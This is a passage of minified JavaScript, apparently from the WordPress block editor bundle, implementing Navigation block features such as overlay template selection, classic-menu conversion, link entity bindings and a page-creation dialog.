":c,m=VQ(VQ(e,a,"$1\0$2"),i,"\0"),p=0,d=m.length;m.charAt(p)==="\0";)p++;for(;m.charAt(d-1)==="\0";)d--;return m.slice(p,d).split("\0").map(s).join(u)}function VQ(e,t,r){return t instanceof RegExp?e.replace(t,r):t.reduce(function(a,n){return a.replace(n,r)},e)}function FQ(e){return e.charAt(0).toUpperCase()+e.substr(1)}function U2e(e){return FQ(e.toLowerCase())}function OQ(e,t){return t===void 0&&(t={}),t3(e,bm({delimiter:" ",transform:U2e},t))}function HQ(e,t){return t===void 0&&(t={}),t3(e,bm({delimiter:"."},t))}function r3(e,t){return t===void 0&&(t={}),HQ(e,bm({delimiter:"-"},t))}function JN(e){return e.ownerDocument.defaultView.getComputedStyle(e)}function eD(e,t,r){if(!e)return;t(JN(e).color);let a=e,n=JN(a).backgroundColor;for(;n==="rgba(0, 0, 0, 0)"&&a.parentNode&&a.parentNode.nodeType===a.parentNode.ELEMENT_NODE;)a=a.parentNode,n=JN(a).backgroundColor;r(n)}function cd(e,t){let{textColor:r,customTextColor:a,backgroundColor:n,customBackgroundColor:i,overlayTextColor:l,customOverlayTextColor:s,overlayBackgroundColor:c,customOverlayBackgroundColor:u,style:m}=e,p={};return t&&s?p.customTextColor=s:t&&l?p.textColor=l:a?p.customTextColor=a:r?p.textColor=r:m?.color?.text&&(p.customTextColor=m.color.text),t&&u?p.customBackgroundColor=u:t&&c?p.backgroundColor=c:i?p.customBackgroundColor=i:n?p.backgroundColor=n:m?.color?.background&&(p.customTextColor=m.color.background),p}function o3(e){return{className:w("wp-block-navigation__submenu-container",{"has-text-color":!!(e.textColor||e.customTextColor),[`has-${e.textColor}-color`]:!!e.textColor,"has-background":!!(e.backgroundColor||e.customBackgroundColor),[`has-${e.backgroundColor}-background-color`]:!!e.backgroundColor}),style:{color:e.customTextColor,backgroundColor:e.customBackgroundColor}}}var jQ=(e,t)=>{let r=e.toLowerCase(),a=t.map(i=>i.title.rendered.toLowerCase());if(!a.includes(r))return e;let n=2;for(;a.includes(`${r} ${n}`);)n++;return`${e} ${n}`},UQ=e=>r3(e).replace(/[^\w-]+/g,"")||"wp-custom-part";function ZQ(e){let{saveEntityRecord:t}=(0,a3.useDispatch)(WQ.store),r=(0,a3.useSelect)(n=>Z(n($Q.store)).getPatternBySlug("core/navigation-overlay"),[]);return(0,GQ.useCallback)(async()=>{let n=e.filter(u=>u.title?.rendered),i=jQ((0,qQ.__)("Navigation Overlay"),n),l=UQ(i),s="";if(r?.content){let u=(0,ud.parse)(r.content,{__unstableSkipMigrationLogs:!0});s=(0,ud.serialize)(u)}else s=(0,ud.serialize)([(0,ud.createBlock)("core/paragraph")]);return await t("postType","wp_template_part",{slug:l,title:i,content:s,area:Ks},{throwOnError:!0})},[e,t,r])}var Pv=o(A(),1),KQ=o(I(),1),QQ=o(j(),1),n3=o(v(),1);function G2e({onClear:e,onCreate:t,isCreating:r=!1}){let a=(0,QQ.createInterpolateElement)((0,KQ.__)("The selected overlay template part is missing or has been deleted. <clearButton>Reset to default overlay</clearButton> or <createButton>create a new overlay</createButton>."),{clearButton:(0,n3.jsx)(Pv.Button,{__next40pxDefaultSize:!0,onClick:e,variant:"link",disabled:r,accessibleWhenDisabled:!0}),createButton:(0,n3.jsx)(Pv.Button,{__next40pxDefaultSize:!0,onClick:t,variant:"link",disabled:r,accessibleWhenDisabled:!0,isBusy:r})});return(0,n3.jsx)(Pv.Notice,{status:"warning",isDismissible:!1,className:"wp-block-navigation__deleted-overlay-warning",children:a})}var YQ=G2e;var mo=o(v(),1);function rD({overlay:e,overlayMenu:t,setAttributes:r,onNavigateToEntityRecord:a,isCreatingOverlay:n,setIsCreatingOverlay:i}){let l=(0,XQ.useInstanceId)(rD,"wp-block-navigation__overlay-selector-heading"),{records:s,isResolving:c,hasResolved:u}=(0,i3.useEntityRecords)("postType","wp_template_part",{per_page:-1}),{createErrorNotice:m}=(0,l3.useDispatch)(JQ.store),p=(0,l3.useSelect)(R=>R(i3.store).getCurrentTheme()?.stylesheet,[]),[d,f]=(0,el.useState)(!1),h=n!==void 0?n:d,g=i!==void 0?i:f,b=(0,el.useMemo)(()=>s?s.filter(R=>R.area===Ks):[],[s]),y=ZQ(b),_=(0,el.useMemo)(()=>!e||!b?null:b.find(R=>R.slug===e),[e,b]),x=(0,el.useMemo)(()=>{let R=[{label:(0,ra.__)("Default"),value:""}];if(!u||c)return R;let F=b.map(P=>({label:P.title?.rendered?(0,tD.decodeEntities)(P.title.rendered):P.slug,value:P.slug}));return e&&!_&&F.unshift({label:(0,ra.sprintf)((0,ra.__)("%s (missing)"),e),value:e}),[...R,...F]},[b,u,c,e,_]),k=R=>{r({overlay:R||void 0})},S=()=>{if(!e||!_||!a)return;let R=_.theme||p,P={postId:Ja(R,e),postType:"wp_template_part"};t==="mobile"&&(P.viewport="mobile"),a(P)},C=(0,el.useCallback)(async()=>{try{g(!0);let R=await y();if(r({overlay:R.slug}),a){let F=R.theme||p,H={postId:Ja(F,R.slug),postType:"wp_template_part"};t==="mobile"&&(H.viewport="mobile"),a(H)}else g(!1)}catch(R){let F=R instanceof Error&&"code"in R&&R.message&&R.code!=="unknown_error"?R.message:(0,ra.__)("An error occurred while creating the overlay.");m(F,{type:"snackbar"}),g(!1)}},[y,r,a,m,p,g,t]),E=(0,el.useCallback)(()=>{r({overlay:void 0})},[r]),B=c||h,D=(0,el.useMemo)(()=>e&&u&&!c&&!_,[e,u,c,_]),M=(0,el.useMemo)(()=>b.length===0&&u?(0,ra.__)("No overlays found."):(0,ra.__)("Select an overlay for navigation."),[b.length,u]),O=(0,el.useMemo)(()=>_?(0,ra.sprintf)((0,ra.__)("Edit overlay: %s"),_.title?.rendered?(0,tD.decodeEntities)(_.title.rendered):_.slug):(0,ra.__)("Edit overlay"),[_]);return(0,mo.jsxs)("div",{className:"wp-block-navigation__overlay-selector",children:[(0,mo.jsx)("h3",{id:l,className:"wp-block-navigation__overlay-selector-header",children:(0,ra.__)("Overlay template")}),u&&(b.length===0||h&&b.length===1)?(0,mo.jsx)(mo.Fragment,{children:(0,mo.jsx)(en.Button,{__next40pxDefaultSize:!0,variant:"secondary",onClick:C,disabled:B,accessibleWhenDisabled:!0,isBusy:h,className:"wp-block-navigation__overlay-create-button-prominent",children:(0,ra.__)("Create overlay")})}):(0,mo.jsxs)(mo.Fragment,{children:[(0,mo.jsx)(en.Button,{size:"small",icon:_f,onClick:C,disabled:B,accessibleWhenDisabled:!0,isBusy:h,label:(0,ra.__)("Create new overlay template"),showTooltip:!0,className:"wp-block-navigation__overlay-create-button"}),(0,mo.jsxs)(en.__experimentalHStack,{alignment:"flex-start",className:"wp-block-navigation__overlay-selector-controls",children:[(0,mo.jsx)(en.FlexBlock,{children:(0,mo.jsx)(en.SelectControl,{__next40pxDefaultSize:!0,label:(0,ra.__)("Overlay template"),hideLabelFromVision:!0,"aria-labelledby":l,value:e||"",options:x,onChange:k,disabled:c,accessibleWhenDisabled:!0,help:M})}),e&&u&&_&&(0,mo.jsx)(en.FlexItem,{children:(0,mo.jsx)(en.Button,{__next40pxDefaultSize:!0,variant:"secondary",onClick:S,disabled:!a,accessibleWhenDisabled:!0,label:O,showTooltip:!0,className:"wp-block-navigation__overlay-edit-button",children:(0,ra.__)("Edit")})})]}),D&&(0,mo.jsx)(YQ,{onClear:E,onCreate:C,isCreating:h})]}),(0,mo.jsx)(en.__experimentalHStack,{alignment:"flex-start",className:"wp-block-navigation__overlay-help-text-wrapper",children:(0,mo.jsx)(en.__experimentalText,{variant:"muted",isBlock:!0,className:"wp-block-navigation__overlay-help-text",children:(0,ra.__)("An overlay template allows you to customize the appearance of the dialog that opens when the menu button is pressed.")})})]})}var Oh=o(A(),1),md=o(I(),1),Hh=o(v(),1);function eY({overlayMenu:e,setAttributes:t}){return(0,Hh.jsxs)(Oh.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,label:(0,md.__)("Overlay Visibility"),"aria-label":(0,md.__)("Configure overlay visibility"),value:e,help:(0,md.__)("Collapses the navigation options in a menu icon opening an overlay."),onChange:r=>t({overlayMenu:r}),isBlock:!0,children:[(0,Hh.jsx)(Oh.__experimentalToggleGroupControlOption,{value:"never",label:(0,md.__)("Off")}),(0,Hh.jsx)(Oh.__experimentalToggleGroupControlOption,{value:"mobile",label:(0,md.__)("Mobile")}),(0,Hh.jsx)(Oh.__experimentalToggleGroupControlOption,{value:"always",label:(0,md.__)("Always")})]})}var c3=o(A(),1),s3=o(I(),1);var Yc=o(A(),1),jh=o(I(),1);var Qc=o(v(),1);function tY({hasIcon:e,icon:t,setAttributes:r}){return(0,Qc.jsxs)(Yc.__experimentalVStack,{spacing:4,children:[(0,Qc.jsx)(Yc.ToggleControl,{label:(0,jh.__)("Show icon button"),help:(0,jh.__)("Configure the visual appearance of the button that toggles the overlay menu."),onChange:a=>r({hasIcon:a}),checked:e}),(0,Qc.jsxs)(Yc.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,className:"wp-block-navigation__overlay-menu-icon-toggle-group",label:(0,jh.__)("Icon"),value:t,onChange:a=>r({icon:a}),isBlock:!0,children:[(0,Qc.jsx)(Yc.__experimentalToggleGroupControlOption,{value:"handle","aria-label":(0,jh.__)("handle"),label:(0,Qc.jsx)(Qs,{icon:"handle"})}),(0,Qc.jsx)(Yc.__experimentalToggleGroupControlOption,{value:"menu","aria-label":(0,jh.__)("menu"),label:(0,Qc.jsx)(Qs,{icon:"menu"})})]})]})}var Ta=o(v(),1);function rY({isResponsive:e,overlayMenuPreview:t,setOverlayMenuPreview:r,hasIcon:a,icon:n,setAttributes:i,overlayMenuPreviewClasses:l,overlayMenuPreviewId:s,containerStyle:c}){return e?(0,Ta.jsxs)(Ta.Fragment,{children:[(0,Ta.jsxs)(c3.Button,{__next40pxDefaultSize:!0,className:l,onClick:()=>r(!t),"aria-label":(0,s3.__)("Overlay menu controls"),"aria-controls":s,"aria-expanded":t,children:[a&&(0,Ta.jsxs)(Ta.Fragment,{children:[(0,Ta.jsx)(Qs,{icon:n}),(0,Ta.jsx)(Fa,{icon:cp})]}),!a&&(0,Ta.jsxs)(Ta.Fragment,{children:[(0,Ta.jsx)("span",{children:(0,s3.__)("Menu")}),(0,Ta.jsx)("span",{children:(0,s3.__)("Close")})]})]}),t&&(0,Ta.jsx)(c3.__experimentalVStack,{id:s,spacing:4,style:c,children:(0,Ta.jsx)(tY,{hasIcon:a,icon:n,setAttributes:i})})]}):null}var oY=o(z(),1),aY=o(Y(),1),oD=o(j(),1),nY=o(U(),1),iY=o(A(),1),lY=o(I(),1),aD=o(T(),1);var pd=o(v(),1);function sY({overlay:e,currentTheme:t}){let r=(0,oD.useMemo)(()=>!e||!t?null:Ja(t,e),[t,e]),{content:a,editedBlocks:n,hasResolved:i}=(0,oY.useSelect)(s=>{if(!r)return{content:null,editedBlocks:null,hasResolved:!0};let{getEditedEntityRecord:c,hasFinishedResolution:u}=s(aY.store),m=c("postType","wp_template_part",r,{context:"view"});return{content:m?.content,editedBlocks:m?.blocks,hasResolved:u("getEditedEntityRecord",["postType","wp_template_part",r,{context:"view"}])}},[r]),l=(0,oD.useMemo)(()=>r?n&&n.length>0?n:a&&typeof a=="string"?(0,nY.parse)(a):[]:null,[r,n,a]);return e?i?(0,pd.jsx)("div",{className:"wp-block-navigation__overlay-preview","aria-label":(0,lY.__)("Navigation Overlay template part preview"),role:"region",children:(0,pd.jsx)(aD.BlockPreview.Async,{placeholder:(0,pd.jsx)("div",{className:"wp-block-navigation__overlay-preview-placeholder"}),children:(0,pd.jsx)(aD.BlockPreview,{blocks:l,viewportWidth:400,minHeight:200})})}):(0,pd.jsx)("div",{className:"wp-block-navigation__overlay-preview-loading",children:(0,pd.jsx)(iY.Spinner,{})}):null}var ym=o(v(),1);function mY({overlayMenu:e,overlay:t,setAttributes:r,onNavigateToEntityRecord:a,overlayMenuPreview:n,setOverlayMenuPreview:i,hasIcon:l,icon:s,overlayMenuPreviewClasses:c,overlayMenuPreviewId:u,isResponsive:m,currentTheme:p,hasOverlays:d}){let[f,h]=(0,uY.useState)(!1);return(0,ym.jsx)(u3.PanelBody,{title:(0,cY.__)("Overlay"),initialOpen:!0,children:(0,ym.jsxs)(u3.__experimentalVStack,{spacing:4,children:[(0,ym.jsx)(eY,{overlayMenu:e,setAttributes:r}),e!=="never"&&(0,ym.jsx)(rY,{isResponsive:m,overlayMenuPreview:n,setOverlayMenuPreview:i,hasIcon:l,icon:s,setAttributes:r,overlayMenuPreviewClasses:c,overlayMenuPreviewId:u}),e!=="never"&&(0,ym.jsx)(rD,{overlay:t,overlayMenu:e,setAttributes:r,onNavigateToEntityRecord:a,isCreatingOverlay:f,setIsCreatingOverlay:h}),e!=="never"&&t&&d&&!f&&(0,ym.jsx)(sY,{overlay:t,currentTheme:p})]})})}var f3=o(z(),1),iD=o(Y(),1),Gh=o(j(),1),Xs=o(I(),1);var Bv=o(U(),1),fY=o(Vc(),1);var nD=o(j(),1),m3=o(T(),1),pY=o(z(),1),dY=o(Y(),1);function Uh(e){if(e===void 0)throw new Error('buildNavigationLinkEntityBinding requires a kind parameter. Only "post-type" and "taxonomy" are supported.');if(e!=="post-type"&&e!=="taxonomy")throw new Error(`Invalid kind "${e}" provided to buildNavigationLinkEntityBinding. Only 'post-type' and 'taxonomy' are supported.`);return{url:{source:e==="taxonomy"?"core/term-data":"core/post-data",args:{field:"link"}}}}function xi({clientId:e,attributes:t}){let{updateBlockBindings:r}=(0,m3.useBlockBindingsUtils)(e),{metadata:a,id:n,kind:i,type:l}=t,s=(0,m3.useBlockEditingMode)(),c=!!a?.bindings?.url&&!!n,u=i==="post-type"?"core/post-data":"core/term-data",m=c&&a?.bindings?.url?.source===u,{isBoundEntityAvailable:p,entityRecord:d}=(0,pY.useSelect)(g=>{if(!m||!n)return{isBoundEntityAvailable:!1,entityRecord:null};let b=i==="post-type",y=i==="taxonomy";if(!b&&!y)return{isBoundEntityAvailable:!1,entityRecord:null};if(s==="disabled")return{isBoundEntityAvailable:!0,entityRecord:null};let{getEntityRecord:_,hasFinishedResolution:x}=g(dY.store),k=y?"taxonomy":"postType",S=l==="tag"?"post_tag":l,C=_(k,S,n);return{isBoundEntityAvailable:x("getEntityRecord",[k,S,n])?C!==void 0:!0,entityRecord:C||null}},[i,l,n,m,s]),f=(0,nD.useCallback)(()=>{c&&r({url:void 0})},[r,c]),h=(0,nD.useCallback)(g=>{let b=g?.kind??i;if(b)try{let y=Uh(b);r(y)}catch(y){console.warn("Failed to create entity binding:",y.message)}},[r,i]);return{hasUrlBinding:m,isBoundEntityAvailable:p,entityRecord:d,clearBinding:f,createBinding:h}}function hY(e){if(!e)return null;let t=$2e(e),r=gY(t);return(0,fY.applyFilters)("blocks.navigation.__unstableMenuItemsToBlocks",r,e)}function gY(e,t=0){let r={};return{innerBlocks:[...e].sort((i,l)=>i.menu_order-l.menu_order).map(i=>{if(i.type==="block"){let[p]=(0,Bv.parse)(i.content.raw);return p||(0,Bv.createBlock)("core/freeform",{content:i.content})}let l=i.children?.length?"core/navigation-submenu":"core/navigation-link",s=W2e(i,l,t),{innerBlocks:c=[],mapping:u={}}=i.children?.length?gY(i.children,t+1):{};r={...r,...u};let m=(0,Bv.createBlock)(l,s,c);return r[i.id]=m.clientId,m}),mapping:r}}function W2e({title:e,xfn:t,classes:r,attr_title:a,object:n,object_id:i,description:l,url:s,type:c,target:u},m,p){n&&n==="post_tag"&&(n="tag");let d=c?.replace("_","-")||"custom";return{label:e?.rendered||"",...n?.length&&{type:n},kind:d,url:s||"",...t?.length&&t.join(" ").trim()&&{rel:t.join(" ").trim()},...r?.length&&r.join(" ").trim()&&{className:r.join(" ").trim()},...a?.length&&{title:a},...i&&(d==="post-type"||d==="taxonomy")&&{id:i,metadata:{bindings:Uh(d)}},...l?.length&&{description:l},...u==="_blank"&&{opensInNewTab:!0},...m==="core/navigation-submenu"&&{isTopLevelItem:p===0},...m==="core/navigation-link"&&{isTopLevelLink:p===0}}}function $2e(e,t="id",r="parent"){let a=Object.create(null),n=[];for(let i of e)a[i[t]]={...i,children:[]},i[r]?(a[i[r]]=a[i[r]]||{},a[i[r]].children=a[i[r]].children||[],a[i[r]].children.push(a[i[t]])):n.push(a[i[t]]);return n}var lD="success",d3="error",h3="pending",q2e="idle",p3=null;function Z2e(e,{throwOnError:t=!1}={}){let r=(0,f3.useRegistry)(),{editEntityRecord:a}=(0,f3.useDispatch)(iD.store),[n,i]=(0,Gh.useState)(q2e),[l,s]=(0,Gh.useState)(null),c=(0,Gh.useCallback)(async(m,p,d="publish")=>{let f,h;try{h=await r.resolveSelect(iD.store).getMenuItems({menus:m,per_page:-1,context:"view"})}catch(b){throw new Error((0,Xs.sprintf)((0,Xs.__)('Unable to fetch classic menu "%s" from API.'),p),{cause:b})}if(h===null)throw new Error((0,Xs.sprintf)((0,Xs.__)('Unable to fetch classic menu "%s" from API.'),p));let{innerBlocks:g}=hY(h);try{f=await e(p,g,d),await a("postType","wp_navigation",f.id,{status:"publish"},{throwOnError:!0})}catch(b){throw new Error((0,Xs.sprintf)((0,Xs.__)('Unable to create Navigation Menu "%s".'),p),{cause:b})}return f},[e,a,r]);return{convert:(0,Gh.useCallback)(async(m,p,d)=>{if(p3!==m){if(p3=m,!m||!p){s("Unable to convert menu. Missing menu details."),i(d3);return}return i(h3),s(null),await c(m,p,d).then(f=>(i(lD),p3=null,f)).catch(f=>{if(s(f?.message),i(d3),p3=null,t)throw new Error((0,Xs.sprintf)((0,Xs.__)('Unable to create Navigation Menu "%s".'),p),{cause:f})})}},[c,t]),status:n,error:l}}var vY=Z2e;var IY=o(U(),1),EY=o(Y(),1),NY=o(z(),1),$h=o(j(),1);var kY=o(A(),1),wY=o(Y(),1),CY=o(z(),1),g3=o(j(),1),Iv=o(I(),1);var bY=o(T(),1),yY=o(Y(),1),xY=o(z(),1);var Wh=e=>e==="header"?W9:e==="footer"?P9:e==="sidebar"?KP:e==="navigation-overlay"?MT:l1;function _Y(e){return(0,xY.useSelect)(t=>{if(!e)return;let{getBlock:r,getBlockParentsByBlockName:a}=t(bY.store),i=a(e,"core/template-part",!0);if(!i?.length)return;let{getCurrentTheme:l,getEditedEntityRecord:s}=t(yY.store),c=l(),m=(c?.default_template_part_areas||[]).map(p=>({...p,icon:Wh(p.icon)}));for(let p of i){let d=r(p),{theme:f=c?.stylesheet,slug:h}=d.attributes,g=Ja(f,h),b=s("postType","wp_template_part",g);if(b?.area)return m.find(y=>y.area!=="uncategorized"&&y.area===b.area)?.label}},[e])}var K2e=["postType","wp_navigation",{status:"draft",per_page:-1}],Q2e=["postType","wp_navigation",{per_page:-1,status:"publish"}];function SY(e){let t=(0,g3.useContext)(kY.Disabled.Context),r=_Y(t?void 0:e),a=(0,CY.useRegistry)();return(0,g3.useCallback)(async()=>{if(t)return"";let{getEntityRecords:n}=a.resolveSelect(wY.store),[i,l]=await Promise.all([n(...K2e),n(...Q2e)]),s=r?(0,Iv.sprintf)((0,Iv.__)("%s menu"),r):(0,Iv.__)("Menu"),c=[...i,...l].reduce((m,p)=>p?.title?.raw?.startsWith(s)?m+1:m,0);return(c>0?`${s} ${c+1}`:s)||""},[t,r,a])}var TY="success",v3="error",PY="pending",BY="idle";function DY(e){let[t,r]=(0,$h.useState)(BY),[a,n]=(0,$h.useState)(null),[i,l]=(0,$h.useState)(null),{saveEntityRecord:s,editEntityRecord:c}=(0,NY.useDispatch)(EY.store),u=SY(e);return{create:(0,$h.useCallback)(async(p=null,d=[],f)=>{if(p&&typeof p!="string")throw l("Invalid title supplied when creating Navigation Menu."),r(v3),new Error("Value of supplied title argument was not a string.");r(PY),n(null),l(null),p||(p=await u().catch(g=>{throw l(g?.message),r(v3),new Error("Failed to create title when saving new Navigation Menu.",{cause:g})}));let h={title:p,content:(0,IY.serialize)(d),status:f};return s("postType","wp_navigation",h).then(g=>(n(g),r(TY),f!=="publish"&&c("postType","wp_navigation",g.id,{status:"publish"}),g)).catch(g=>{throw l(g?.message),r(v3),new Error("Unable to save new Navigation Menu",{cause:g})})},[s,c,u]),status:t,value:a,error:i,isIdle:t===BY,isPending:t===PY,isSuccess:t===TY,isError:t===v3}}var LY=o(z(),1),MY=o(T(),1),Y2e=[];function AY(e){return(0,LY.useSelect)(t=>{let{getBlock:r,getBlocks:a,hasSelectedInnerBlock:n}=t(MY.store),i=r(e).innerBlocks,l=!!i?.length,s=l?Y2e:a(e);return{innerBlocks:l?i:s,hasUncontrolledInnerBlocks:l,uncontrolledInnerBlocks:i,controlledInnerBlocks:s,isInnerBlockSelected:n(e,!0)}},[e])}var RY=o(nr(),1),b3=o(A(),1),zY=o(I(),1),VY=o(v(),1),X2e=({className:e="",disabled:t,isMenuItem:r=!1})=>{let a=b3.Button;return r&&(a=b3.MenuItem),(0,VY.jsx)(a,{variant:"link",disabled:t,className:e,href:(0,RY.addQueryArgs)("edit.php",{post_type:"wp_navigation"}),children:(0,zY.__)("Manage menus")})},FY=X2e;var km=o(T(),1),Gv=o(A(),1),A3=o(z(),1),_m=o(I(),1),vX=o(j(),1);var OY=o(T(),1),x3=o(A(),1),HY=o(I(),1),_3=o(j(),1),y3=o(v(),1);function J2e({onCreateNew:e,isNotice:t=!1}){let[r,a]=(0,_3.useState)(!1),n=()=>{a(!0),e()},i=(0,_3.createInterpolateElement)((0,HY.__)("Navigation Menu has been deleted or is unavailable. <button>Create a new Menu?</button>"),{button:(0,y3.jsx)(x3.Button,{__next40pxDefaultSize:!0,onClick:n,variant:"link",disabled:r,accessibleWhenDisabled:!0})});return t?(0,y3.jsx)(x3.Notice,{status:"warning",isDismissible:!1,children:i}):(0,y3.jsx)(OY.Warning,{children:i})}var k3=J2e;var dd=o(U(),1);var _i=o(A(),1),Ev=o(z(),1),ts=o(I(),1),qh=o(T(),1);var Po=o(v(),1),exe={className:"block-editor-block-settings-menu__popover",placement:"bottom-start"},txe=["core/navigation-link","core/navigation-submenu"];function rxe({block:e,onClose:t,expandedState:r,expand:a,setInsertedBlock:n}){let{insertBlock:i,replaceBlock:l,replaceInnerBlocks:s}=(0,Ev.useDispatch)(qh.store),c=e.clientId,u=!txe.includes(e.name);return(0,Po.jsx)(_i.MenuItem,{icon:sp,disabled:u,onClick:()=>{let p=(0,dd.createBlock)(vi.name,vi.attributes);if(e.name==="core/navigation-submenu")i(p,e.innerBlocks.length,c,!1);else{let d=(0,dd.createBlock)("core/navigation-submenu",e.attributes,e.innerBlocks);l(c,d),s(d.clientId,[p],!1)}n(p),r[e.clientId]||a(e.clientId),t()},children:(0,ts.__)("Add submenu link")})}function jY(e){let{block:t}=e,{clientId:r}=t,{moveBlocksDown:a,moveBlocksUp:n,removeBlocks:i,duplicateBlocks:l,insertBeforeBlock:s,insertAfterBlock:c}=(0,Ev.useDispatch)(qh.store),u=(0,ts.sprintf)((0,ts.__)("Remove %s"),(0,qh.BlockTitle)({clientId:r,maximumLength:25})),{rootClientId:m,canDuplicate:p,canInsertBlock:d,isFirst:f,isLast:h}=(0,Ev.useSelect)(g=>{let{getBlockRootClientId:b,canInsertBlockType:y,getDirectInsertBlock:_,getBlockIndex:x,getBlockCount:k}=g(qh.store),{getDefaultBlockName:S}=g(dd.store),C=b(r),E=y(S(),C),B=C?_(C):null;return{rootClientId:C,canDuplicate:!!t&&(0,dd.hasBlockSupport)(t.name,"multiple",!0)&&y(t.name,C),canInsertBlock:(E||!!B)&&!!t&&y(t.name,C),isFirst:x(r)===0,isLast:x(r)===k(C)-1}},[r,t]);return(0,Po.jsx)(_i.DropdownMenu,{icon:G0,label:(0,ts.__)("Options"),className:"block-editor-block-settings-menu",popoverProps:exe,noIcons:!0,...e,children:({onClose:g})=>(0,Po.jsxs)(Po.Fragment,{children:[(0,Po.jsxs)(_i.MenuGroup,{children:[(0,Po.jsx)(_i.MenuItem,{icon:J7,disabled:f,accessibleWhenDisabled:!0,onClick:()=>{n([r],m),g()},children:(0,ts.__)("Move up")}),(0,Po.jsx)(_i.MenuItem,{icon:w0,disabled:h,accessibleWhenDisabled:!0,onClick:()=>{a([r],m),g()},children:(0,ts.__)("Move down")}),(0,Po.jsx)(rxe,{block:t,onClose:g,expandedState:e.expandedState,expand:e.expand,setInsertedBlock:e.setInsertedBlock}),p&&(0,Po.jsx)(_i.MenuItem,{onClick:()=>{l([r]),g()},children:(0,ts.__)("Duplicate")}),d&&(0,Po.jsxs)(Po.Fragment,{children:[(0,Po.jsx)(_i.MenuItem,{onClick:()=>{s(r),g()},children:(0,ts.__)("Add before")}),(0,Po.jsx)(_i.MenuItem,{onClick:()=>{c(r),g()},children:(0,ts.__)("Add after")})]})]}),(0,Po.jsx)(_i.MenuGroup,{children:(0,Po.jsx)(_i.MenuItem,{onClick:()=>{i([r],!1),g()},children:u})})]})})}var uX=o(T(),1),mX=o(z(),1);var Io=o(A(),1),$t=o(I(),1),nX=o(Ri(),1),zv=o(T(),1),E3=o(z(),1),iX=o(Y(),1);var WY=o(j(),1),$Y=o(z(),1),qY=o(T(),1);var sD=o(GY(),1),Nv=o(nr(),1),oxe=(e,t)=>{if(!e||!t)return!1;let r=h=>h?h.replace(/\/+$/,""):"",a=(h,g=null)=>{try{let b=g||(typeof window<"u"?window.location.origin:"https://wordpress.org");return new URL(h,b)}catch{return null}},n=a(e);if(!n)return!0;let i=a(t,e);if(!i)return!0;let l=n.hostname,s=i.hostname,c=r((0,Nv.getPath)(n.toString())),u=r((0,Nv.getPath)(i.toString()));if(l!==s||c!==u)return!0;let m=n.searchParams.get("p"),p=i.searchParams.get("p");if(m&&p&&m!==p)return!0;let d=n.searchParams.get("page_id"),f=i.searchParams.get("page_id");return!!(d&&f&&d!==f||m&&f||d&&p)},fd=(e={},t,r={})=>{let{label:a="",kind:n="",type:i=""}=r,{title:l="",label:s="",url:c,opensInNewTab:u,id:m,kind:p=n,type:d=i}=e,f=l||s,h=f.replace(/http(s?):\/\//gi,""),g=c?.replace(/http(s?):\/\//gi,"")??"",y=f&&f!==a&&h!==g?(0,sD.escapeHTML)(f):a||(0,sD.escapeHTML)(g),_=d==="post_tag"?"tag":d.replace("-","_"),x=["post","page","tag","category"].indexOf(_)>-1,S=!p&&!x||p==="custom"?"custom":p,C={...c!==void 0?{url:c&&encodeURI((0,Nv.safeDecodeURI)(c))}:{},...y&&{label:y},...u!==void 0&&{opensInNewTab:u},...S&&{kind:S},..._&&_!=="URL"&&{type:_}};c&&!m&&r.id?oxe(r.url,c)&&(C.id=void 0,C.kind="custom",C.type="custom"):m&&Number.isInteger(m)?C.id=m:r.id&&(C.kind=S,C.type=_),t(C);let E="id"in C?C.id:r.id,B="kind"in C?C.kind:r.kind;return{isEntityLink:!!E&&B!=="custom",attributes:C}};function Dv({clientId:e,attributes:t,setAttributes:r}){let{updateBlockAttributes:a}=(0,$Y.useDispatch)(qY.store),{hasUrlBinding:n,createBinding:i,clearBinding:l}=xi({clientId:e,attributes:t});return(0,WY.useCallback)(s=>{if(!s)return;let c={url:s.url,kind:s.kind,type:s.type,id:s.id};if((!t.label||t.label==="")&&(c.title=s.title),!s.id&&n)l(),a(e,{url:s.url,kind:"custom",type:"custom",id:void 0});else{let{isEntityLink:m,attributes:p}=fd(c,r,t);m?i(p):l()}},[t,e,n,i,l,r,a])}var B3=o(Ri(),1),Xc=o(A(),1),Av=o(I(),1),I3=o(T(),1),Pa=o(j(),1),XY=o(Y(),1);var fD=o(ue(),1),JY=o(nr(),1);var Ln=o(A(),1),ki=o(I(),1),Mv=o(z(),1),T3=o(Y(),1),ZY=o(yr(),1),uD=o(Ho(),1),mD=o(j(),1);var w3=o(A(),1),C3=o(I(),1);var Lv=o(ue(),1),xm=o(v(),1);function axe({className:e,onBack:t}){return(0,xm.jsx)(w3.Button,{className:e,icon:(0,C3.isRTL)()?Y7:K7,onClick:r=>{r.preventDefault(),t()},size:"small",children:(0,C3.__)("Back")})}function cD({className:e,title:t,description:r,onBack:a,children:n}){let i=(0,Lv.useInstanceId)(cD,"link-ui-dialog-title"),l=(0,Lv.useInstanceId)(cD,"link-ui-dialog-description"),s=(0,Lv.useFocusOnMount)("firstElement"),c=`${e}__back`;return(0,xm.jsxs)("div",{className:e,role:"dialog","aria-labelledby":i,"aria-describedby":l,ref:s,children:[(0,xm.jsxs)(w3.VisuallyHidden,{children:[(0,xm.jsx)("h2",{id:i,children:t}),(0,xm.jsx)("p",{id:l,children:r})]}),(0,xm.jsx)(axe,{className:c,onBack:a}),n]})}var S3=cD;var tl=o(v(),1);function KY({postType:e,onBack:t,onPageCreated:r,initialTitle:a=""}){let[n,i]=(0,mD.useState)(a),[l,s]=(0,mD.useState)(!0),c=n.trim().length>0,{lastError:u,isSaving:m}=(0,Mv.useSelect)(b=>({lastError:b(T3.store).getLastEntitySaveError("postType",e),isSaving:b(T3.store).isSavingEntityRecord("postType",e)}),[e]),{saveEntityRecord:p}=(0,Mv.useDispatch)(T3.store),{createSuccessNotice:d,createErrorNotice:f}=(0,Mv.useDispatch)(ZY.store);async function h(b){if(b.preventDefault(),!(m||!c))try{let y=await p("postType",e,{title:n,status:l?"publish":"draft"},{throwOnError:!0});if(y){let _={id:y.id,type:e,title:(0,uD.decodeEntities)(y.title.rendered),url:y.link,kind:"post-type"};d((0,ki.sprintf)((0,ki.__)("%s page created successfully."),(0,uD.decodeEntities)(y.title.rendered)),{type:"snackbar",id:"page-created-success"}),r(_)}}catch{f((0,ki.__)("Failed to create page. Please try again."),{type:"snackbar",id:"page-created-error"})}}let g=m||!c;return(0,tl.jsx)(S3,{className:"link-ui-page-creator",title:(0,ki.__)("Create page"),description:(0,ki.__)("Create a new page to add to your 